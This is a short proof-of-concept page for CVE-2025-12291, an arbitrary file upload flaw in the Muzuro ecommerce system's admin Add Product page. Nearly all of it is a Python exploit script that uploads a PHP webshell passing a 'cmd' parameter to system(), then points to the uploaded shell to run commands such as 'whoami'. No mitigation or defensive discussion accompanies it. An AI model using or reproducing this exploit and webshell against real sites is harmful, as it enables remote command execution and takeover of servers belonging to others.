CVE-2025-12291: Muzuro电商系统Add Product页面任意文件上传漏洞

# CVE-2025-12291 PoC - Muzuro Ecommerce System Unrestricted File Upload # Affected Component: /admin/index.php?add_product import requests import sys target_url = "http://target.com/admin/index.php?add_product" session_cookie = "PHPSESSID=your_admin_session_here" # Create malicious PHP webshell webshell_content = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?>''' def upload_webshell(): headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0' } files = { 'product_image': ('shell.php', webshell_content, 'application/x-php') } data = { 'product_name': 'Malicious Product', 'product_price': '100', 'submit': 'Add Product' } try: response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Webshell uploaded successfully!") print("[+] Access shell at: http://target.com/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": upload_webshell()